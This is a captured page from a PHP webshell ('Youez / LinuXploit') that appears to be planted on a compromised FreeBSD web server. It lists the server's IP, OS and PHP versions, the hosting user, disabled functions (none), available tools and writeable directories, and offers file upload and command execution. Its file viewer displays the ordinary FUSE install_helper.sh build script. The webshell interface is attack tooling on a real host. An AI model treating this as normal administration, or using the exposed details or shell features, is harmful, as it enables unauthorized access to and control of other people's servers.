403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.168
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/sysutils/fusefs-libs3/work/fuse-3.12.0/util/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/sysutils/fusefs-libs3/work/fuse-3.12.0/util/install_helper.sh
#!/bin/sh
#
# Don't call this script. It is used internally by the Meson
# build system. Thank you for your cooperation.
#

set -e

sysconfdir="$1"
bindir="$2"
udevrulesdir="$3"
useroot="$4"
initscriptdir="$5"

# Both sysconfdir and bindir are absolute paths (since they are joined
# with --prefix in meson.build), but need to be interpreted relative
# to DESTDIR (if specified).

if [ -z "${DESTDIR}" ]; then
    # Prevent warnings about uninitialized variable
    DESTDIR=""
else
    # Get rid of duplicate slash
    DESTDIR="${DESTDIR%/}"
fi

install -D -m 644 "${MESON_SOURCE_ROOT}/util/fuse.conf" \
	"${DESTDIR}${sysconfdir}/fuse.conf"

if $useroot; then
    chown root:root "${DESTDIR}${bindir}/fusermount3"
    chmod u+s "${DESTDIR}${bindir}/fusermount3"

    if test ! -e "${DESTDIR}/dev/fuse"; then
        mkdir -p "${DESTDIR}/dev"
        mknod "${DESTDIR}/dev/fuse" -m 0666 c 10 229
    fi
fi

install -D -m 644 "${MESON_SOURCE_ROOT}/util/udev.rules" \
        "${DESTDIR}${udevrulesdir}/99-fuse3.rules"

if [ "$initscriptdir" != "" ]; then
    install -D -m 755 "${MESON_SOURCE_ROOT}/util/init_script" \
            "${DESTDIR}${initscriptdir}/fuse3"

    if test -x /usr/sbin/update-rc.d && test -z "${DESTDIR}"; then
        /usr/sbin/update-rc.d fuse3 start 34 S . start 41 0 6 . || /bin/true
    else
        echo "== FURTHER ACTION REQUIRED =="
        echo "Make sure that your init system will start the ${DESTDIR}${initscriptdir}/init.d/fuse3 init script"
    fi
fi

Youez - 2016 - github.com/yon3zu
LinuXploit